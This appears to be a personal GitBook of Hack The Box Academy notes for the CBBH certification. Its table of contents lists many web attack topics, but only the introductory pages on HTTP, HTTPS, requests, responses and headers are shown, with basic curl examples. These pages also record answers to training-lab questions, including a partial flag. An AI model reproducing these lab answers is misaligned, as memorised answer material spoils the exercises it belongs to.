# Table of Contents
- [HTTP Fundamentals | CBBH](#http-fundamentals-cbbh)
- [Hypertext Transfer Protocol Secure (HTTPS) | CBBH](#hypertext-transfer-protocol-secure-https-cbbh)
- [HyperText Transfer Protocol (HTTP) | CBBH](#hypertext-transfer-protocol-http-cbbh)
- [HTTP Requests and Responses | CBBH](#http-requests-and-responses-cbbh)
- [HTTP Headers | CBBH](#http-headers-cbbh)
- [HTTP Methods | CBBH](#http-methods-cbbh)
- [HTTP Methods and Codes | CBBH](#http-methods-and-codes-cbbh)
- [GET | CBBH](#get-cbbh)
- [Advanced SQL Map Usage | CBBH](#advanced-sql-map-usage-cbbh)
- [Brute Force Attacks | CBBH](#brute-force-attacks-cbbh)
- [Prevention | CBBH](#prevention-cbbh)
- [Template Engines | CBBH](#template-engines-cbbh)
- [Building Attacks | CBBH](#building-attacks-cbbh)
- [Preventing SSRF | CBBH](#preventing-ssrf-cbbh)
- [XSLT Injection | CBBH](#xslt-injection-cbbh)
- [Additional Write Up | CBBH](#additional-write-up-cbbh)
- [Basic Exploitation | CBBH](#basic-exploitation-cbbh)
- [Cheat Sheet | CBBH](#cheat-sheet-cbbh)
- [Weak Brute-Force Protection | CBBH](#weak-brute-force-protection-cbbh)
- [Bypassing Filters | CBBH](#bypassing-filters-cbbh)
- [Identifying Filters | CBBH](#identifying-filters-cbbh)
- [Types of Databases | CBBH](#types-of-databases-cbbh)
- [SSTI | CBBH](#ssti-cbbh)
- [Other Upload Attacks | CBBH](#other-upload-attacks-cbbh)
- [SSRF | CBBH](#ssrf-cbbh)
- [Identifying SSTI | CBBH](#identifying-ssti-cbbh)
- [Preventing SSI Injection | CBBH](#preventing-ssi-injection-cbbh)
- [Intro to File Upload Attacks | CBBH](#intro-to-file-upload-attacks-cbbh)
- [Rewalk | CBBH](#rewalk-cbbh)
- [Command Injection Prevention | CBBH](#command-injection-prevention-cbbh)
- [Preventing File Upload Vulnerabilities | CBBH](#preventing-file-upload-vulnerabilities-cbbh)
- [Exploiting SSTI - Jinja2 | CBBH](#exploiting-ssti-jinja2-cbbh)
- [Exploiting SSTI - Twig | CBBH](#exploiting-ssti-twig-cbbh)
- [Exploitation | CBBH](#exploitation-cbbh)
- [Exploiting XSLT Injection | CBBH](#exploiting-xslt-injection-cbbh)
- [Skills Assessment 1 | CBBH](#skills-assessment-1-cbbh)
- [Exploitation | CBBH](#exploitation-cbbh)
- [Using Comments | CBBH](#using-comments-cbbh)
- [Injecting Commands | CBBH](#injecting-commands-cbbh)
- [Rewalk | CBBH](#rewalk-cbbh)
- [Exploiting SSI Injection | CBBH](#exploiting-ssi-injection-cbbh)
- [Enumerating Users | CBBH](#enumerating-users-cbbh)
- [Intro | CBBH](#intro-cbbh)
- [Databases | CBBH](#databases-cbbh)
- [Other Injection Operators | CBBH](#other-injection-operators-cbbh)
- [Introduction | CBBH](#introduction-cbbh)
- [Authentication Bypass | CBBH](#authentication-bypass-cbbh)
- [Filter Evasion | CBBH](#filter-evasion-cbbh)
- [Attacks on Authentication | CBBH](#attacks-on-authentication-cbbh)
- [Union Clause | CBBH](#union-clause-cbbh)
- [Skills Assessment - SQL Injection Fundamentals | CBBH](#skills-assessment-sql-injection-fundamentals-cbbh)
- [Exploiting SSRF | CBBH](#exploiting-ssrf-cbbh)
- [Intro to Authentication | CBBH](#intro-to-authentication-cbbh)
- [SSI Injection | CBBH](#ssi-injection-cbbh)
- [Handling SQLMap Errors | CBBH](#handling-sqlmap-errors-cbbh)
- [Hybrid Attacks | CBBH](#hybrid-attacks-cbbh)
- [Skills Assesment | CBBH](#skills-assesment-cbbh)
- [CHEAT SHEET | CBBH](#cheat-sheet-cbbh)
- [Mitigating SQL Injection | CBBH](#mitigating-sql-injection-cbbh)
- [Introduction to SSI Injection | CBBH](#introduction-to-ssi-injection-cbbh)
- [Brute-Forcing 2FA Codes | CBBH](#brute-forcing-2fa-codes-cbbh)
- [Skills Assessment | CBBH](#skills-assessment-cbbh)
- [Default Credentials | CBBH](#default-credentials-cbbh)
- [Evasion Tools | CBBH](#evasion-tools-cbbh)
- [Skills Assessment 2 | CBBH](#skills-assessment-2-cbbh)
- [Dictionary Attacks | CBBH](#dictionary-attacks-cbbh)
- [Brute-Forcing Passwords | CBBH](#brute-forcing-passwords-cbbh)
- [Detection | CBBH](#detection-cbbh)
- [Union Injection | CBBH](#union-injection-cbbh)
- [Password Security Fundamentals | CBBH](#password-security-fundamentals-cbbh)
- [Medusa | CBBH](#medusa-cbbh)
- [Skills Assessment | CBBH](#skills-assessment-cbbh)
- [Brute-Forcing Password Reset Tokens | CBBH](#brute-forcing-password-reset-tokens-cbbh)
- [Blind SSRF | CBBH](#blind-ssrf-cbbh)
- [Web Services | CBBH](#web-services-cbbh)
- [Cheat Sheet | CBBH](#cheat-sheet-cbbh)
- [Authentication Bypass via Direct Access | CBBH](#authentication-bypass-via-direct-access-cbbh)
- [CVSS Scoring | CBBH](#cvss-scoring-cbbh)
- [Writing Files | CBBH](#writing-files-cbbh)
- [Exam Style Write Up | CBBH](#exam-style-write-up-cbbh)
- [Bypassing Space Filters | CBBH](#bypassing-space-filters-cbbh)
- [Database Enumeration | CBBH](#database-enumeration-cbbh)
- [Absent Validation | CBBH](#absent-validation-cbbh)
- [Authentication Bypass via Parameter Modification | CBBH](#authentication-bypass-via-parameter-modification-cbbh)
- [HTB SQL Injection Fundamentals (assessment writeup/walkthrough) | CBBH](#htb-sql-injection-fundamentals-assessment-writeup-walkthrough-cbbh)
- [Cheat Sheet | CBBH](#cheat-sheet-cbbh)
- [Bypassing Other Blacklisted Characters | CBBH](#bypassing-other-blacklisted-characters-cbbh)
- [Preventing XSLT Injection | CBBH](#preventing-xslt-injection-cbbh)
- [Bypassing Blacklisted Commands | CBBH](#bypassing-blacklisted-commands-cbbh)
- [Password Attacks | CBBH](#password-attacks-cbbh)
- [Database Enumeration | CBBH](#database-enumeration-cbbh)
- [Re Walk | CBBH](#re-walk-cbbh)
- [Basic HTTP Authentication | CBBH](#basic-http-authentication-cbbh)
- [Good Write Up | CBBH](#good-write-up-cbbh)
- [Getting Started with SQLMap | CBBH](#getting-started-with-sqlmap-cbbh)
- [Other Upload Attacks | CBBH](#other-upload-attacks-cbbh)
- [Re Walk + Write Up | CBBH](#re-walk-write-up-cbbh)
- [Login Forms | CBBH](#login-forms-cbbh)
- [SQLMap Overview | CBBH](#sqlmap-overview-cbbh)
- [Exam Write up | CBBH](#exam-write-up-cbbh)
- [Blacklist Filters | CBBH](#blacklist-filters-cbbh)
- [Identifying SSRF | CBBH](#identifying-ssrf-cbbh)
- [Client-Side Validation | CBBH](#client-side-validation-cbbh)
- [Intro to XSLT Injection | CBBH](#intro-to-xslt-injection-cbbh)
- [Advanced Command Obfuscation | CBBH](#advanced-command-obfuscation-cbbh)
- [Whitelist Filters | CBBH](#whitelist-filters-cbbh)
- [CHEAT SHEET | CBBH](#cheat-sheet-cbbh)
- [Type Filters | CBBH](#type-filters-cbbh)
- [Advanced Database Enumeration | CBBH](#advanced-database-enumeration-cbbh)
- [Skills Assessment | CBBH](#skills-assessment-cbbh)
- [Brute Force Attacks | CBBH](#brute-force-attacks-cbbh)
- [Upload Exploitation | CBBH](#upload-exploitation-cbbh)
- [SQLMap Output Description | CBBH](#sqlmap-output-description-cbbh)
- [Re Walk + Write Up | CBBH](#re-walk-write-up-cbbh)
- [Limited File Uploads | CBBH](#limited-file-uploads-cbbh)
- [Hydra | CBBH](#hydra-cbbh)
---
# HTTP Fundamentals | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme.md)
.
Welcome to my CBBH/Web PenTesting Base, a personal GitBook dedicated to mastering **web application penetration testing**. This resource is the result of structured learning through **Hack The Box Academy**, built while preparing for the **Certified Bug Bounty Hunter (CBBH)** certification.
* * *
📚 About This GitBook[](https://my-gitbook-2.gitbook.io/cbbh#about-this-gitbook)
---------------------------------------------------------------------------------
This GitBook consolidates **training modules, labs, tools, scripts, walkthroughs**, and **real-world techniques** used in modern web application testing. Whether you're studying for a certification, improving your offensive security skills, or building a personal reference for bug bounty hunting, this guide is for you.
* * *
🧱 Modules Covered[](https://my-gitbook-2.gitbook.io/cbbh#modules-covered)
---------------------------------------------------------------------------
All content is organized by topic and reflects real-world tactics and practical lab experience from the following HTB Academy modules:
### 🟢 Fundamentals[](https://my-gitbook-2.gitbook.io/cbbh#fundamentals)
* **Web Requests**
* **Introduction to Web Applications**
* **Using Web Proxies**
### 🟡 Recon & Enumeration[](https://my-gitbook-2.gitbook.io/cbbh#recon-and-enumeration)
* **Information Gathering – Web Edition**
* **Attacking Web Applications with Ffuf**
### 🔵 Client-Side Attacks[](https://my-gitbook-2.gitbook.io/cbbh#client-side-attacks)
* **JavaScript Deobfuscation**
* **Cross-Site Scripting (XSS)**
### 🔴 Injection Attacks[](https://my-gitbook-2.gitbook.io/cbbh#injection-attacks)
* **SQL Injection Fundamentals**
* **SQLMap Essentials**
* **Command Injections**
### 🟣 File & Upload Vulnerabilities[](https://my-gitbook-2.gitbook.io/cbbh#file-and-upload-vulnerabilities)
* **File Upload Attacks**
* **File Inclusion**
### 🔐 Authentication & Session Issues[](https://my-gitbook-2.gitbook.io/cbbh#authentication-and-session-issues)
* **Login Brute Forcing**
* **Broken Authentication**
* **Session Security**
### 🧠 Server-Side Exploitation[](https://my-gitbook-2.gitbook.io/cbbh#server-side-exploitation)
* **Server-side Attacks**
* **Web Service & API Attacks**
### ⚙️ Special Topics[](https://my-gitbook-2.gitbook.io/cbbh#special-topics)
* **Hacking WordPress**
* **Bug Bounty Hunting Process**
* * *
🛠️ Tools & Resources[](https://my-gitbook-2.gitbook.io/cbbh#tools-and-resources)
----------------------------------------------------------------------------------
This GitBook includes:
* ✅ Burp Suite usage tips
* ✅ Custom recon & fuzzing scripts
* ✅ Payload lists for XSS, SQLi, LFI, etc.
* ✅ Real-world bug bounty report examples
* ✅ Personal lab notes and insights
* * *
🧑💻 Who This Is For[](https://my-gitbook-2.gitbook.io/cbbh#who-this-is-for)
------------------------------------------------------------------------------
* Bug Bounty Hunters
* Offensive Security Practitioners
* Aspiring Pentesters
* HTB Academy Students
* CBBH Certification Candidates
* * *
⚠️ Disclaimer[](https://my-gitbook-2.gitbook.io/cbbh#disclaimer)
-----------------------------------------------------------------
This GitBook is for **educational purposes only**. Do not attempt to attack or exploit any system **without proper authorization**.
* * *
🙋♂️ Author[](https://my-gitbook-2.gitbook.io/cbbh#author)
------------------------------------------------------------
Created and maintained by **\[Code4Christ\]**[](https://my-gitbook-2.gitbook.io/cbbh#created-and-maintained-by-code4christ)
----------------------------------------------------------------------------------------------------------------------------
🚀 Start Learning[](https://my-gitbook-2.gitbook.io/cbbh#start-learning)
-------------------------------------------------------------------------
Use the sidebar to jump into any topic. Happy hacking! 🐞
[NextHyperText Transfer Protocol (HTTP)](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http)
Last updated 1 year ago
---
# Hypertext Transfer Protocol Secure (HTTPS) | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https.md)
.
In the previous section, we discussed how HTTP requests are sent and processed. However, one of the significant drawbacks of HTTP is that all data is transferred in clear-text. This means that anyone between the source and destination can perform a Man-in-the-middle (MiTM) attack to view the transferred data.
To counter this issue, the [HTTPS (HTTP Secure) protocol](https://tools.ietf.org/html/rfc2660)
was created, in which all communications are transferred in an encrypted format, so even if a third party does intercept the request, they would not be able to extract the data out of it.
### HTTPS Overview[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https#https-overview)
If we examine an HTTP request, we can see the effect of not enforcing secure communications between a web browser and a web application. For example, the following is the content of an HTTP login request:

We can see that the login credentials can be viewed in clear-text. This would make it easy for someone on the same network (such as a public wireless network) to capture the request and reuse the credentials for malicious purposes.
In contrast, when someone intercepts and analyzes traffic from an HTTPS request, they would see something like the following:

As we can see, the data is transferred as a single encrypted stream, which makes it very difficult for anyone to capture information such as credentials or any other sensitive data.
### HTTPS Flow[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https#https-flow)
Let's look at how HTTPS operates at a high level:

HTTPS Flow
### cURL for HTTPS[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https#curl-for-https)
cURL should automatically handle all HTTPS communication standards and perform a secure handshake and then encrypt and decrypt data automatically. However, if we ever contact a website with an invalid SSL certificate or an outdated one, then cURL by default would not proceed with the communication to protect against the earlier mentioned MITM attacks:
Copy
johnnyhacker24@htb[/htb]$ curl https://inlanefreight.com
curl: (60) SSL certificate problem: Invalid certificate chain
More details here: https://curl.haxx.se/docs/sslcerts.html
...SNIP...
Modern web browsers would do the same, warning the user against visiting a website with an invalid SSL certificate.
We may face such an issue when testing a local web application or with a web application hosted for practice purposes, as such web applications may not yet have implemented a valid SSL certificate. To skip the certificate check with cURL, we can use the `-k` flag:
Hypertext Transfer Protocol Secure (HTTPS)
Copy
johnnyhacker24@htb[/htb]$ curl -k https://inlanefreight.com
...SNIP...
[PreviousHyperText Transfer Protocol (HTTP)](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http)
[NextHTTP Requests and Responses](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses)
Last updated 2 years ago
---
# HyperText Transfer Protocol (HTTP) | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http.md)
.
[HTTP](https://tools.ietf.org/html/rfc2616)
is an application-level protocol used to access the World Wide Web resources. The term `hypertext` stands for text containing links to other resources and text that the readers can easily interpret.
The default port for HTTP communication is port `80`, though this can be changed to any other port, depending on the web server configuration. The same requests are utilized when we use the internet to visit different websites. We enter a `Fully Qualified Domain Name` (`FQDN`) as a `Uniform Resource Locator` (`URL`) to reach the desired website, like [www.hackthebox.com](http://www.hackthebox.com/)
.
### URL[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http#url)
Resources over HTTP are accessed via a `URL`, which offers many more specifications than simply specifying a website we want to visit. Let's look at the structure of a URL:

URL
Here is what each component stands for:
**Component**
**Example**
**Description**
`Scheme`
`http://` `https://`
This is used to identify the protocol being accessed by the client, and ends with a colon and a double slash (`://`)
`User Info`
`admin:password@`
This is an optional component that contains the credentials (separated by a colon `:`) used to authenticate to the host, and is separated from the host with an at sign (`@`)
`Host`
`inlanefreight.com`
The host signifies the resource location. This can be a hostname or an IP address
`Port`
`:80`
The `Port` is separated from the `Host` by a colon (`:`). If no port is specified, `http` schemes default to port `80` and `https` default to port `443`
`Path`
`/dashboard.php`
This points to the resource being accessed, which can be a file or a folder. If there is no path specified, the server returns the default index (e.g. `index.html`).
`Query String`
`?login=true`
The query string starts with a question mark (`?`), and consists of a parameter (e.g. `login`) and a value (e.g. `true`). Multiple parameters can be separated by an ampersand (`&`).
`Fragments`
`#status`
Fragments are processed by the browsers on the client-side to locate sections within the primary resource (e.g. a header or section on the page).
HTTP Flow

HTTP\_Flow
The diagram above presents the anatomy of an HTTP request at a very high level. The first time a user enters the URL (`inlanefreight.com`) into the browser, it sends a request to a DNS (Domain Name Resolution) server to resolve the domain and get its IP. The DNS server looks up the IP address for `inlanefreight.com` and returns it. All domain names need to be resolved this way, as a server can't communicate without an IP address.
### cURL[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http#curl)
[cURL](https://curl.haxx.se/)
(client URL) is a command-line tool and library that primarily supports HTTP along with many other protocols. This makes it a good candidate for scripts as well as automation, making it essential for sending various types of web requests from the command line, which is necessary for many types of web penetration tests.
We can send a basic HTTP request to any URL by using it as an argument for cURL, as follows:
HyperText Transfer Protocol (HTTP)
Copy
johnnyhacker24@htb[/htb]$ curl inlanefreight.com
...SNIP...
We may also use cURL to download a page or a file and output the content into a file using the `-O` flag. If we want to specify the output file name, we can use the `-o` flag and specify the name. Otherwise, we can use `-O` and cURL will use the remote file name, as follows:
HyperText Transfer Protocol (HTTP)
Copy
johnnyhacker24@htb[/htb]$ curl -O inlanefreight.com/index.html
johnnyhacker24@htb[/htb]$ ls
index.html
As we can see, the output was not printed this time but rather saved into `index.html`. We noticed that cURL still printed some status while processing the request. We can silent the status with the `-s` flag, as follows:
HyperText Transfer Protocol (HTTP)
Copy
johnnyhacker24@htb[/htb]$ curl -s -O inlanefreight.com/index.html
This time, cURL did not print anything, as the output was saved into the `index.html` file. Finally, we may use the `-h` flag to see what other options we may use with cURL:
Copy
johnnyhacker24@htb[/htb]$ curl -h
Usage: curl [options...]
-d, --data HTTP POST data
-h, --help Get help for commands
-i, --include Include protocol response headers in the output
-o, --output Write to file instead of stdout
-O, --remote-name Write output to a file named as the remote file
-s, --silent Silent mode
-u, --user Server user and password
-A, --user-agent Send User-Agent to server
-v, --verbose Make the operation more talkative
This is not the full help, this menu is stripped into categories.
Use "--help category" to get an overview of all categories.
Use the user manual `man curl` or the "--help all" flag for all options.
**Questions**
Answer the question(s) below to complete this Section and earn cubes!
Target: 83.136.252.32:48704
To get the flag, start the above exercise, then use cURL to download the file returned by '/download.php' in the server shown above.
Copy
[us-academy-3]─[10.10.14.179]─[htb-ac-1067736@htb-4cbhjldkbe]─[~]
└──╼ [★]$ curl -s -0 83.136.252.32:48704/download.php
HTB{64$!c_cURL_u$3r
[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-http#undefined)
-----------------------------------------------------------------------------------------------------------
[PreviousHTTP Fundamentals](https://my-gitbook-2.gitbook.io/cbbh)
[NextHypertext Transfer Protocol Secure (HTTPS)](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https)
Last updated 2 years ago
---
# HTTP Requests and Responses | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses.md)
.
### HTTP Request[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#http-request)
Let's start by examining the following example HTTP request:

raw\_request
The image above shows an HTTP GET request to the URL:
* `http://inlanefreight.com/users/login.html`
The first line of any HTTP request contains three main fields 'separated by spaces':
**Field**
**Example**
**Description**
`Method`
`GET`
The HTTP method or verb, which specifies the type of action to perform.
`Path`
`/users/login.html`
The path to the resource being accessed. This field can also be suffixed with a query string (e.g. `?username=user`).
`Version`
`HTTP/1.1`
The third and final field is used to denote the HTTP version.
The next set of lines contain HTTP header value pairs, like `Host`, `User-Agent`, `Cookie`, and many other possible headers. These headers are used to specify various attributes of a request. The headers are terminated with a new line, which is necessary for the server to validate the request. Finally, a request may end with the request body and data.
Note: HTTP version 1.X sends requests as clear-text, and uses a new-line character to separate different fields and different requests. HTTP version 2.X, on the other hand, sends requests as binary data in a dictionary form.
* * *
### HTTP Response[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#http-response)
Once the server processes our request, it sends its response. The following is an example HTTP response:

raw\_response
The first line of an HTTP response contains two fields separated by spaces. The first being the `HTTP version` (e.g. `HTTP/1.1`), and the second denotes the `HTTP response code` (e.g. `200 OK`).
Response codes are used to determine the request's status, as will be discussed in a later section. After the first line, the response lists its headers, similar to an HTTP request. Both request and response headers are discussed in the next section.
Finally, the response may end with a response body, which is separated by a new line after the headers. The response body is usually defined as `HTML` code. However, it can also respond with other code types such as `JSON`, website resources such as images, style sheets or scripts, or even a document such as a PDF document hosted on the webserver.
* * *
### cURL[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#curl)
HTTP Requests and Responses
To view the full HTTP request and response, we can simply add the `-v` verbose flag to our earlier commands, and it should print both the request and response:
The `-vvv` flag shows an even more verbose output. Try to use this flag to see what extra request and response details get displayed with it.
### Browser DevTools[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#browser-devtools)
Most modern web browsers come with built-in developer tools (`DevTools`), which are mainly intended for developers to test their web applications. However, as web penetration testers, these tools can be a vital asset in any web assessment we perform, as a browser (and its DevTools) are among the assets we are most likely to have in every web assessment exercise.
To open the browser devtools in either Chrome or Firefox, we can click \[`CTRL+SHIFT+I`\] or simply click \[`F12`\]. The devtools contain multiple tabs, each of which has its own use. We will mostly be focusing on the `Network` tab in this module, as it is responsible for web requests.
If we click on the Network tab and refresh the page, we should be able to see the list of requests sent by the page:

As we can see, the devtools show us at a glance the response status (i.e. response code), the request method used (`GET`), the requested resource (i.e. URL/domain), along with the requested path. Furthermore, we can use `Filter URLs` to search for a specific request, in case the website loads too many to go through.
**Questions**
Answer the question(s) below to complete this Section and earn cubes!
Target: 83.136.252.32:48704
What is the HTTP method used while intercepting the request?
A: GET
Send a GET request to the above server, and read the response headers to find the version of Apache running on the server, then submit it as the answer. (answer format: X.Y.ZZ)
A: 2.4.41
[PreviousHypertext Transfer Protocol Secure (HTTPS)](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/hypertext-transfer-protocol-secure-https)
[NextHTTP Headers](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers)
Last updated 2 years ago
* [HTTP Request](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#http-request)
* [HTTP Response](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#http-response)
* [cURL](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#curl)
* [Browser DevTools](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-requests-and-responses#browser-devtools)
Copy
johnnyhacker24@htb[/htb]$ curl inlanefreight.com -v
* Trying SERVER_IP:80...
* TCP_NODELAY set
* Connected to inlanefreight.com (SERVER_IP) port 80 (#0)
> GET / HTTP/1.1
> Host: inlanefreight.com
> User-Agent: curl/7.65.3
> Accept: */*
> Connection: close
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Date: Tue, 21 Jul 2020 05:20:15 GMT
< Server: Apache/X.Y.ZZ (Ubuntu)
< WWW-Authenticate: Basic realm="Restricted Content"
< Content-Length: 464
< Content-Type: text/html; charset=iso-8859-1
<
...SNIP...
Copy
┌─[us-academy-3]─[10.10.14.179]─[htb-ac-1067736@htb-a1ewm9wlqc]─[~]
└──╼ [★]$ curl 83.136.252.32:48704 -v
* Trying 83.136.252.32:48704...
* Connected to 83.136.252.32 (83.136.252.32) port 48704 (#0)
> GET / HTTP/1.1
> Host: 83.136.252.32:48704
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sat, 16 Mar 2024 15:10:39 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 348
< Content-Type: text/html; charset=UTF-8
<
Blank Page
This page is intentionally left blank.
Using cURL should be enough.
* Connection #0 to host 83.136.252.32 left intact
┌─[us-academy-3]─[10.10.14.179]─[htb-ac-1067736@htb-a1ewm9wlqc]─[~]
└──╼ [★]$ curl 83.136.252.32:48704 -vvv
* Trying 83.136.252.32:48704...
* Connected to 83.136.252.32 (83.136.252.32) port 48704 (#0)
> GET / HTTP/1.1
> Host: 83.136.252.32:48704
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sat, 16 Mar 2024 15:17:22 GMT
< Server: Apache/2.4.41 (Ubuntu)
< Vary: Accept-Encoding
< Content-Length: 348
< Content-Type: text/html; charset=UTF-8
<
Blank Page
This page is intentionally left blank.
Using cURL should be enough.
* Connection #0 to host 83.136.252.32 left intact
---
# HTTP Headers | CBBH
For the complete documentation index, see [llms.txt](https://my-gitbook-2.gitbook.io/cbbh/llms.txt)
. This page is also available as [Markdown](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers.md)
.
### General Headers[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#general-headers)
[General headers](https://www.w3.org/Protocols/rfc2616/rfc2616-sec4.html)
are used in both HTTP requests and responses. They are contextual and are used to `describe the message rather than its contents`.
**Header**
**Example**
**Description**
`Date`
`Date: Wed, 16 Feb 2022 10:38:44 GMT`
Holds the date and time at which the message originated. It's preferred to convert the time to the standard [UTC](https://en.wikipedia.org/wiki/Coordinated_Universal_Time)
time zone.
`Connection`
`Connection: close`
Dictates if the current network connection should stay alive after the request finishes. Two commonly used values for this header are `close` and `keep-alive`. The `close` value from either the client or server means that they would like to terminate the connection, while the `keep-alive` header indicates that the connection should remain open to receive more data and input.
* * *
### Entity Headers[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#entity-headers)
Similar to general headers, [Entity Headers](https://www.w3.org/Protocols/rfc2616/rfc2616-sec7.html)
can be `common to both the request and response`. These headers are used to `describe the content` (entity) transferred by a message. They are usually found in responses and POST or PUT requests.
**Header**
**Example**
**Description**
`Content-Type`
`Content-Type: text/html`
Used to describe the type of resource being transferred. The value is automatically added by the browsers on the client-side and returned in the server response. The `charset` field denotes the encoding standard, such as [UTF-8](https://en.wikipedia.org/wiki/UTF-8)
.
`Media-Type`
`Media-Type: application/pdf`
The `media-type` is similar to `Content-Type`, and describes the data being transferred. This header can play a crucial role in making the server interpret our input. The `charset` field may also be used with this header.
`Boundary`
`boundary="b4e4fbd93540"`
Acts as a marker to separate content when there is more than one in the same message. For example, within a form data, this boundary gets used as `--b4e4fbd93540` to separate different parts of the form.
`Content-Length`
`Content-Length: 385`
Holds the size of the entity being passed. This header is necessary as the server uses it to read data from the message body, and is automatically generated by the browser and tools like cURL.
`Content-Encoding`
`Content-Encoding: gzip`
Data can undergo multiple transformations before being passed. For example, large amounts of data can be compressed to reduce the message size. The type of encoding being used should be specified using the `Content-Encoding` header.
* * *
### Request Headers[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#request-headers)
The client sends [Request Headers](https://tools.ietf.org/html/rfc2616)
in an HTTP transaction. These headers are `used in an HTTP request and do not relate to the content` of the message. The following headers are commonly seen in HTTP requests.
**Header**
**Example**
**Description**
`Host`
`Host: www.inlanefreight.com`
Used to specify the host being queried for the resource. This can be a domain name or an IP address. HTTP servers can be configured to host different websites, which are revealed based on the hostname. This makes the host header an important enumeration target, as it can indicate the existence of other hosts on the target server.
`User-Agent`
`User-Agent: curl/7.77.0`
The `User-Agent` header is used to describe the client requesting resources. This header can reveal a lot about the client, such as the browser, its version, and the operating system.
`Referer`
`Referer: http://www.inlanefreight.com/`
Denotes where the current request is coming from. For example, clicking a link from Google search results would make `https://google.com` the referer. Trusting this header can be dangerous as it can be easily manipulated, leading to unintended consequences.
`Accept`
`Accept: */*`
The `Accept` header describes which media types the client can understand. It can contain multiple media types separated by commas. The `*/*` value signifies that all media types are accepted.
`Cookie`
`Cookie: PHPSESSID=b4e4fbd93540`
Contains cookie-value pairs in the format `name=value`. A [cookie](https://en.wikipedia.org/wiki/HTTP_cookie)
is a piece of data stored on the client-side and on the server, which acts as an identifier. These are passed to the server per request, thus maintaining the client's access. Cookies can also serve other purposes, such as saving user preferences or session tracking. There can be multiple cookies in a single header separated by a semi-colon.
`Authorization`
`Authorization: BASIC cGFzc3dvcmQK`
Another method for the server to identify clients. After successful authentication, the server returns a token unique to the client. Unlike cookies, tokens are stored only on the client-side and retrieved by the server per request. There are multiple types of authentication types based on the webserver and application type used.
A complete list of request headers and their usage can be found [here](https://tools.ietf.org/html/rfc7231#section-5)
.
* * *
### Response Headers[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#response-headers)
[Response Headers](https://tools.ietf.org/html/rfc7231#section-6)
can be `used in an HTTP response and do not relate to the content`. Certain response headers such as `Age`, `Location`, and `Server` are used to provide more context about the response. The following headers are commonly seen in HTTP responses.
**Header**
**Example**
**Description**
`Server`
`Server: Apache/2.2.14 (Win32)`
Contains information about the HTTP server, which processed the request. It can be used to gain information about the server, such as its version, and enumerate it further.
`Set-Cookie`
`Set-Cookie: PHPSESSID=b4e4fbd93540`
Contains the cookies needed for client identification. Browsers parse the cookies and store them for future requests. This header follows the same format as the `Cookie` request header.
`WWW-Authenticate`
`WWW-Authenticate: BASIC realm="localhost"`
Notifies the client about the type of authentication required to access the requested resource.
* * *
### Security Headers[](https://my-gitbook-2.gitbook.io/cbbh/1.-web-requests/readme/http-headers#security-headers)
Finally, we have [Security Headers](https://owasp.org/www-project-secure-headers/)
. With the increase in the variety of browsers and web-based attacks, defining certain headers that enhanced security was necessary. HTTP Security headers are `a class of response headers used to specify certain rules and policies` to be followed by the browser while accessing the website.
**Header**
**Example**
**Description**
`Content-Security-Policy`
`Content-Security-Policy: script-src 'self'`
Dictates the website's policy towards externally injected resources. This could be JavaScript code as well as script resources. This header instructs the browser to accept resources only from certain trusted domains, hence preventing attacks such as [Cross-site scripting (XSS)](https://en.wikipedia.org/wiki/Cross-site_scripting)
.
`Strict-Transport-Security`
`Strict-Transport-Security: max-age=31536000`
